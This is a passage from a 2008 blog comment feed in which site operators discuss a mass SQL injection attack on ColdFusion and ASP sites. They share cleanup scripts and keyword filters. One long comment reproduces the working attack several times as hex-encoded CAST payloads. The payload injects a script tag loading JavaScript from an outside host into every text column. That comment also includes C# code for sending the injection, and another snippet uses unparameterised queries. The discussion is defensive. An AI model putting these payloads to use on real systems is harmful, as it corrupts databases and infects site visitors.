One of our ColdFusion sites got hit this week by a SQL injection, but fortunately we were able to restore most of the damaged data from a backup.  It was a very large app that was insourced from a former contractor and contained literally thousands of queries with parameters that were all missing cfqueryparam.  Although we made efforts to use find/replace to update the code and many previous attacks were trapped, there were unfortunately a few odd places that were missed and one of these was the likely point of entry.

In addition to adding cfqueryparam in remaining templates we implemented a custom tag across the whole site that detects the presence of certain SQL keywords in the query string and immediately aborts the request if a match is found.  This is a bit kludgy and far from bulletproof, but it at least provides an additional layer of defense and prevents any data from being served or error logging/notification email to occur.</description>
		<content:encoded><![CDATA[<p>Thanks for the post - sounds like a lot of people have been getting slammed by these bots recently so the info here is very helpful.</p>
<p>One of our ColdFusion sites got hit this week by a SQL injection, but fortunately we were able to restore most of the damaged data from a backup.  It was a very large app that was insourced from a former contractor and contained literally thousands of queries with parameters that were all missing cfqueryparam.  Although we made efforts to use find/replace to update the code and many previous attacks were trapped, there were unfortunately a few odd places that were missed and one of these was the likely point of entry.</p>
<p>In addition to adding cfqueryparam in remaining templates we implemented a custom tag across the whole site that detects the presence of certain SQL keywords in the query string and immediately aborts the request if a match is found.  This is a bit kludgy and far from bulletproof, but it at least provides an additional layer of defense and prevents any data from being served or error logging/notification email to occur.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: loucas</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9641</link>
		<author>loucas</author>
		<pubDate>Sat, 09 Aug 2008 10:37:49 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9641</guid>
					<description>another band aid for those who have loads of old cf apps to look after

http://coldfusion.sys-con.com/node/620373

L</description>
		<content:encoded><![CDATA[<p>another band aid for those who have loads of old cf apps to look after</p>
<p><a href="http://coldfusion.sys-con.com/node/620373" rel="nofollow">http://coldfusion.sys-con.com/node/620373</a></p>
<p>L</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Fred</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9680</link>
		<author>Fred</author>
		<pubDate>Mon, 11 Aug 2008 05:08:54 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9680</guid>
					<description>Does anyone have more details on the virus? I've fixed the vulnerabilities, but I know I'm going to get asked what happened before the site was cleaned up.</description>
		<content:encoded><![CDATA[<p>Does anyone have more details on the virus? I&#8217;ve fixed the vulnerabilities, but I know I&#8217;m going to get asked what happened before the site was cleaned up.</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: S Khosro</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9694</link>
		<author>S Khosro</author>
		<pubDate>Mon, 11 Aug 2008 14:10:45 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9694</guid>
					<description>Thank you Mark. I used your code in applicaiton.cfm and it is now aborting all attempts. I also added logic to log the IP into a table so that if they try to use another query fromt he same IP its aborted as well. Here is the code snippet.


select ip from hacktable where ip ='#trim(remote_addr)#'







HACK ATTEMPT RECORDED FROM IP: #remote_addr#
#DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#
#script_name#&#38;#query_string#



insert hacktable (timelogged,siteid,ip) values('#DateFormat(Now(),"MM/DD/YYYY")# #TimeFormat(Now(), "HH:MM:SS")#',2,'#remote_addr#') 
</description>
		<content:encoded><![CDATA[<p>Thank you Mark. I used your code in applicaiton.cfm and it is now aborting all attempts. I also added logic to log the IP into a table so that if they try to use another query fromt he same IP its aborted as well. Here is the code snippet.</p>
<p>select ip from hacktable where ip =&#8217;#trim(remote_addr)#&#8217;</p>
<p>HACK ATTEMPT RECORDED FROM IP: #remote_addr#<br />
#DateFormat(Now(), &#8220;MM-DD-YYYY&#8221;)# @ #TimeFormat(Now(), &#8220;HH:MM:SS&#8221;)#<br />
#script_name#&amp;#query_string#</p>
<p>insert hacktable (timelogged,siteid,ip) values(&#8217;#DateFormat(Now(),&#8221;MM/DD/YYYY&#8221;)# #TimeFormat(Now(), &#8220;HH:MM:SS&#8221;)#&#8217;,2,&#8217;#remote_addr#&#8217;)</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: chris brickhouse</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9745</link>
		<author>chris brickhouse</author>
		<pubDate>Thu, 14 Aug 2008 18:44:30 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9745</guid>
					<description>this is not just aimed at coldfusion pages. asp is especially vunerable, as is php. i just had an asp.net page hacked to hell every five minutes. i ran this script to reverse it. this script removes all script tags from every text/varchar field in your database.

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;</description>
		<content:encoded><![CDATA[<p>this is not just aimed at coldfusion pages. asp is especially vunerable, as is php. i just had an asp.net page hacked to hell every five minutes. i ran this script to reverse it. this script removes all script tags from every text/varchar field in your database.</p>
<p>DECLARE @T varchar(255), @C varchar(255);<br />
DECLARE Table_Cursor CURSOR FOR<br />
SELECT a.name, b.name<br />
FROM sysobjects a, syscolumns b<br />
WHERE a.id = b.id AND a.xtype = &#8216;u&#8217; AND<br />
(b.xtype = 99 OR<br />
b.xtype = 35 OR<br />
b.xtype = 231 OR<br />
b.xtype = 167);<br />
OPEN Table_Cursor;<br />
FETCH NEXT FROM Table_Cursor INTO @T, @C;<br />
WHILE (@@FETCH_STATUS = 0) BEGIN<br />
EXEC(<br />
&#8216;update [&#8217;+@T+&#8217;] set [&#8217;+@C+&#8217;] = left(<br />
convert(varchar(8000), [&#8217;+@C+&#8217;]),<br />
len(convert(varchar(8000), [&#8217;+@C+&#8217;])) - 6 -<br />
patindex(&#8221;%tpircs&#8221;&#8217;<br />
);<br />
FETCH NEXT FROM Table_Cursor INTO @T, @C;<br />
END;<br />
CLOSE Table_Cursor;<br />
DEALLOCATE Table_Cursor;</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: David</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9949</link>
		<author>David</author>
		<pubDate>Fri, 22 Aug 2008 17:27:41 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9949</guid>
					<description>Looks like my message got cut off. My question was whether the solution would work for SQL SERVER 2005 or just SQL SERVER 2000?</description>
		<content:encoded><![CDATA[<p>Looks like my message got cut off. My question was whether the solution would work for SQL SERVER 2005 or just SQL SERVER 2000?</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: vabuk</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9970</link>
		<author>vabuk</author>
		<pubDate>Sat, 23 Aug 2008 09:14:19 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-9970</guid>
					<description>Nice article. But where can i get more about input attack in a search box?

thanks</description>
		<content:encoded><![CDATA[<p>Nice article. But where can i get more about input attack in a search box?</p>
<p>thanks</p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Tom39</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-10002</link>
		<author>Tom39</author>
		<pubDate>Sat, 23 Aug 2008 20:32:58 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-10002</guid>
					<description>I came across this exploit attempt in my server logs today, and spent the day investigating.  While I wasn't negatively impacted by the exploit, one thing is still VERY puzzling to me:

Marc Funaro (poster #5 above) indicated that he was able to stop the exploits cold by using ISAPI ReWrite (ISRW) to check for the presence of things like "CAST(4000)" in the URL, etc.  I had the same idea, and for some reason, this approach doesn't work on my end -- which is what's puzzling me...  (Server is W2K3, IIS6).

As a test, I put a ReWrite rule in place to redirect any and all requests to my site to a bogus URL like fofofoxoxoxo.com.  I then pointed a browser (both IE and FF) to the URL in question:

http://www.mysite.com/Index.htm?'DECLARE%20@S%20CHAR(4000)...EXEC(@S);

The browsers each sat there for a few minutes, and then timed out.  Odd.  I chopped the URL down to only:

http://www.mysite.com/Index.htm?'DECLARE%20@S%20CHAR(4000)

and I was redirected as per my ISRW rule.

My next thought was that perhaps the browsers were getting tripped up with the multiple @ signs in there, trying to resolve some other IP address using the long 0x... CAST as the address.  So, I then whipped up a quick C# program to perform the GET requests and dump back the output.  Now things got VERY strange...

With the ISRW rule in place still redirecting ALL requests to mysite.com to fofofoxoxo.com, sending the SQL injection request via my C# app still caused the request to timeout, as if something on the server was trying to do something with the request before any of the ISAPI filters.  I confirmed that ISAPI_REWRITE was the first filter in the execution chain, and it was(is).  So -- what the heck is the server doing with the request?

I continued to send variations of the SQL inject string to the server, including:

* One in which I changed CAST to XAST and EXEC to QXEC.  Everything else was the same.  This request did NOT timeout on the server!

* One in which I changed the contents of the CAST(...) from 0x4445435... to 0x11111... (same length data).  This request did NOT timeout on the server!

* Several in which I progressively chopped pieces off the end of the CAST(...) data.  After the string got sufficiently short (the exact length, I don't recall), these requests stopped timing out on the server.

All of this has left me quite puzzled.  With ISAPI_REWRITE being the first filter in my list, what exactly is going on on the server end that causes the request to timeout for the SQL inject request in question?  Even with a rule in place to redirect ALL requests elsewhere, some requests (like the SQL inject) never get processed.  WHY?  What is going on?

For reference, here is the C# source for those interested in trying it themselves (replace mysite.com with your own site.)

----

using System;
using System.Net.Sockets;
public class Client
{
    static public void pause()
    {
        Console.WriteLine( "\r\n***** Done *****\r\n" );
        Console.ReadKey();
    }

    static public void Main(string[] Args)
    {
        TcpClient socketForServer;
        try
        {
            socketForServer = new TcpClient("www.mysite.com", 80);
        }
        catch
        {
            Console.WriteLine("Failed to connect to server at {0}:999", "mysite.com");
            pause();
            return;
        }
        NetworkStream networkStream = socketForServer.GetStream();
        System.IO.StreamReader streamReader =
        new System.IO.StreamReader(networkStream);
        System.IO.StreamWriter streamWriter =
        new System.IO.StreamWriter(networkStream);
        try
        {
            string outputString;
            // read the data from the host and display it
            {

                //streamWriter.WriteLine("GET / HTTP/1.1\r\nHost: www.mysite.com\r\n\r\n");
                //SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292
                //C40432076617263686172283430303029204445434C415245205461626C655F437
                //572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6
                //E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E732
                //06220776865726520612E69643D622E696420616E6420612E78747970653D27752
                //720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7
                //220622E78747970653D323331206F7220622E78747970653D31363729204F50454
                //E205461626C655F437572736F72204645544348204E4558542046524F4D2020546
                //1626C655F437572736F7220494E544F2040542C4043205748494C4528404046455
                //443485F5354415455533D302920424547494E20657865632827757064617465205
                //B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B27272
                //23E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F616263
                //2E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D27272
                //0776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746
                //C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782
                //E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204
                //E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404
                //320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415
                //445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
                
                // Hangs:
                //String inject_str = "GET /Index.htm?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41
                //5245204054207661726368617228323535292C4043207661726368617228343030
                //3029204445434C415245205461626C655F437572736F7220435552534F5220464F
                //522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F62
                //6A6563747320612C737973636F6C756D6E73206220776865726520612E69643D62
                //2E696420616E6420612E78747970653D27752720616E642028622E78747970653D
                //3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F
                //7220622E78747970653D31363729204F50454E205461626C655F437572736F7220
                //4645544348204E4558542046524F4D20205461626C655F437572736F7220494E54
                //4F2040542C4043205748494C4528404046455443485F5354415455533D30292042
                //4547494E20657865632827757064617465205B272B40542B275D20736574205B27
                //2B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637269
                //7074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73
                //223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F
                //74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22
                //687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F73637269
                //70743E3C212D2D272727294645544348204E4558542046524F4D20205461626C6
                //55F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626
                //C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72
                //%20AS%20CHAR(4000));EXEC(@S);";
                
                // Does not hang:
                //String inject_str = "GET /Index.htm?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4
                //15245204054207661726368617228323535292C4043207661726AS%20CHAR(4000));";

                // Does not hang, despite being same length as the long query above.
                //String inject_str = "GET /Index.htm?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXX";

                // Does not hang (only minor mods to long query).
                //String inject_str = "GET /Index.htm?';DECLARE%20@S%20CHAR(4000);SET%20@S=XAST(Vx4445434C
                //415245204054207661726368617228323535292C4043207661726368617228
                //3430303029204445434C415245205461626C655F437572736F722043555253
                //4F5220464F522073656C65637420612E6E616D652C622E6E616D652066726
                //F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686
                //5726520612E69643D622E696420616E6420612E78747970653D27752720616
                //E642028622E78747970653D3939206F7220622E78747970653D3335206F722
                //0622E78747970653D323331206F7220622E78747970653D31363729204F504
                //54E205461626C655F437572736F72204645544348204E4558542046524F4D2
                //0205461626C655F437572736F7220494E544F2040542C4043205748494C45
                //28404046455443485F5354415455533D302920424547494E20657865632827
                //757064617465205B272B40542B275D20736574205B272B40432B275D3D5B2
                //72B40432B275D2B2727223E3C2F7469746C653E3C73637269707420737263
                //3D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2
                //F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74
                //206C696B6520272725223E3C2F7469746C653E3C736372697074207372633
                //D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F
                //7363726970743E3C212D2D272727294645544348204E4558542046524F4D2
                //                //0205461626C655F437572736F7220494E544F2040542C404320454E4420434
                //C4F5345205461626C655F437572736F72204445414C4C4F43415445205461
                //626C655F437572736F72%20AS%20AHAR(4000));QXEC(QS);";

                //String inject_str = "GET /Index.htm?';DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''\"&#62;&lt;!--'' where '+@C+' not like ''%\"&#62;--&gt;</description>
		<content:encoded><![CDATA[<p>I came across this exploit attempt in my server logs today, and spent the day investigating.  While I wasn&#8217;t negatively impacted by the exploit, one thing is still VERY puzzling to me:</p>
<p>Marc Funaro (poster #5 above) indicated that he was able to stop the exploits cold by using ISAPI ReWrite (ISRW) to check for the presence of things like &#8220;CAST(4000)&#8221; in the URL, etc.  I had the same idea, and for some reason, this approach doesn&#8217;t work on my end &#8212; which is what&#8217;s puzzling me&#8230;  (Server is W2K3, IIS6).</p>
<p>As a test, I put a ReWrite rule in place to redirect any and all requests to my site to a bogus URL like fofofoxoxoxo.com.  I then pointed a browser (both IE and FF) to the URL in question:</p>
<p><a href="http://www.mysite.com/Index.htm?&#8217;DECLARE%20@S%20CHAR" rel="nofollow">http://www.mysite.com/Index.htm?&#8217;DECLARE%20@S%20CHAR</a>(4000)&#8230;EXEC(@S);</p>
<p>The browsers each sat there for a few minutes, and then timed out.  Odd.  I chopped the URL down to only:</p>
<p><a href="http://www.mysite.com/Index.htm?&#8217;DECLARE%20@S%20CHAR" rel="nofollow">http://www.mysite.com/Index.htm?&#8217;DECLARE%20@S%20CHAR</a>(4000)</p>
<p>and I was redirected as per my ISRW rule.</p>
<p>My next thought was that perhaps the browsers were getting tripped up with the multiple @ signs in there, trying to resolve some other IP address using the long 0x&#8230; CAST as the address.  So, I then whipped up a quick C# program to perform the GET requests and dump back the output.  Now things got VERY strange&#8230;</p>
<p>With the ISRW rule in place still redirecting ALL requests to mysite.com to fofofoxoxo.com, sending the SQL injection request via my C# app still caused the request to timeout, as if something on the server was trying to do something with the request before any of the ISAPI filters.  I confirmed that ISAPI_REWRITE was the first filter in the execution chain, and it was(is).  So &#8212; what the heck is the server doing with the request?</p>
<p>I continued to send variations of the SQL inject string to the server, including:</p>
<p>* One in which I changed CAST to XAST and EXEC to QXEC.  Everything else was the same.  This request did NOT timeout on the server!</p>
<p>* One in which I changed the contents of the CAST(&#8230;) from 0&#215;4445435&#8230; to 0&#215;11111&#8230; (same length data).  This request did NOT timeout on the server!</p>
<p>* Several in which I progressively chopped pieces off the end of the CAST(&#8230;) data.  After the string got sufficiently short (the exact length, I don&#8217;t recall), these requests stopped timing out on the server.</p>
<p>All of this has left me quite puzzled.  With ISAPI_REWRITE being the first filter in my list, what exactly is going on on the server end that causes the request to timeout for the SQL inject request in question?  Even with a rule in place to redirect ALL requests elsewhere, some requests (like the SQL inject) never get processed.  WHY?  What is going on?</p>
<p>For reference, here is the C# source for those interested in trying it themselves (replace mysite.com with your own site.)</p>
<p>&#8212;-</p>
<p>using System;<br />
using System.Net.Sockets;<br />
public class Client<br />
{<br />
    static public void pause()<br />
    {<br />
        Console.WriteLine( &#8220;\r\n***** Done *****\r\n&#8221; );<br />
        Console.ReadKey();<br />
    }</p>
<p>    static public void Main(string[] Args)<br />
    {<br />
        TcpClient socketForServer;<br />
        try<br />
        {<br />
            socketForServer = new TcpClient(&#8221;www.mysite.com&#8221;, 80);<br />
        }<br />
        catch<br />
        {<br />
            Console.WriteLine(&#8221;Failed to connect to server at {0}:999&#8243;, &#8220;mysite.com&#8221;);<br />
            pause();<br />
            return;<br />
        }<br />
        NetworkStream networkStream = socketForServer.GetStream();<br />
        System.IO.StreamReader streamReader =<br />
        new System.IO.StreamReader(networkStream);<br />
        System.IO.StreamWriter streamWriter =<br />
        new System.IO.StreamWriter(networkStream);<br />
        try<br />
        {<br />
            string outputString;<br />
            // read the data from the host and display it<br />
            {</p>
<p>                //streamWriter.WriteLine(&#8221;GET / HTTP/1.1\r\nHost: <a href="http://www.mysite.com" rel="nofollow">www.mysite.com</a>\r\n\r\n&#8221;);<br />
                //SET%20@S=CAST(0&#215;4445434C415245204054207661726368617228323535292<br />
                //C40432076617263686172283430303029204445434C415245205461626C655F437<br />
                //572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6<br />
                //E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E732<br />
                //06220776865726520612E69643D622E696420616E6420612E78747970653D27752<br />
                //720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7<br />
                //220622E78747970653D323331206F7220622E78747970653D31363729204F50454<br />
                //E205461626C655F437572736F72204645544348204E4558542046524F4D2020546<br />
                //1626C655F437572736F7220494E544F2040542C4043205748494C4528404046455<br />
                //443485F5354415455533D302920424547494E20657865632827757064617465205<br />
                //B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B27272<br />
                //23E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F616263<br />
                //2E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D27272<br />
                //0776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746<br />
                //C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782<br />
                //E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204<br />
                //E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404<br />
                //320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415<br />
                //445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);</p>
<p>                // Hangs:<br />
                //String inject_str = &#8220;GET /Index.htm?&#8217;;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0&#215;4445434C41<br />
                //5245204054207661726368617228323535292C4043207661726368617228343030<br />
                //3029204445434C415245205461626C655F437572736F7220435552534F5220464F<br />
                //522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F62<br />
                //6A6563747320612C737973636F6C756D6E73206220776865726520612E69643D62<br />
                //2E696420616E6420612E78747970653D27752720616E642028622E78747970653D<br />
                //3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F<br />
                //7220622E78747970653D31363729204F50454E205461626C655F437572736F7220<br />
                //4645544348204E4558542046524F4D20205461626C655F437572736F7220494E54<br />
                //4F2040542C4043205748494C4528404046455443485F5354415455533D30292042<br />
                //4547494E20657865632827757064617465205B272B40542B275D20736574205B27<br />
                //2B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637269<br />
                //7074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73<br />
                //223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F<br />
                //74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22<br />
                //687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F73637269<br />
                //70743E3C212D2D272727294645544348204E4558542046524F4D20205461626C6<br />
                //55F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626<br />
                //C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72<br />
                //%20AS%20CHAR(4000));EXEC(@S);&#8221;;</p>
<p>                // Does not hang:<br />
                //String inject_str = &#8220;GET /Index.htm?&#8217;;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0&#215;4445434C4<br />
                //15245204054207661726368617228323535292C4043207661726AS%20CHAR(4000));&#8221;;</p>
<p>                // Does not hang, despite being same length as the long query above.<br />
                //String inject_str = &#8220;GET /Index.htm?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#8221;;</p>
<p>                // Does not hang (only minor mods to long query).<br />
                //String inject_str = &#8220;GET /Index.htm?&#8217;;DECLARE%20@S%20CHAR(4000);SET%20@S=XAST(Vx4445434C<br />
                //415245204054207661726368617228323535292C4043207661726368617228<br />
                //3430303029204445434C415245205461626C655F437572736F722043555253<br />
                //4F5220464F522073656C65637420612E6E616D652C622E6E616D652066726<br />
                //F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686<br />
                //5726520612E69643D622E696420616E6420612E78747970653D27752720616<br />
                //E642028622E78747970653D3939206F7220622E78747970653D3335206F722<br />
                //0622E78747970653D323331206F7220622E78747970653D31363729204F504<br />
                //54E205461626C655F437572736F72204645544348204E4558542046524F4D2<br />
                //0205461626C655F437572736F7220494E544F2040542C4043205748494C45<br />
                //28404046455443485F5354415455533D302920424547494E20657865632827<br />
                //757064617465205B272B40542B275D20736574205B272B40432B275D3D5B2<br />
                //72B40432B275D2B2727223E3C2F7469746C653E3C73637269707420737263<br />
                //3D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2<br />
                //F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74<br />
                //206C696B6520272725223E3C2F7469746C653E3C736372697074207372633<br />
                //D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F<br />
                //7363726970743E3C212D2D272727294645544348204E4558542046524F4D2<br />
                //                //0205461626C655F437572736F7220494E544F2040542C404320454E4420434<br />
                //C4F5345205461626C655F437572736F72204445414C4C4F43415445205461<br />
                //626C655F437572736F72%20AS%20AHAR(4000));QXEC(QS);&#8221;;</p>
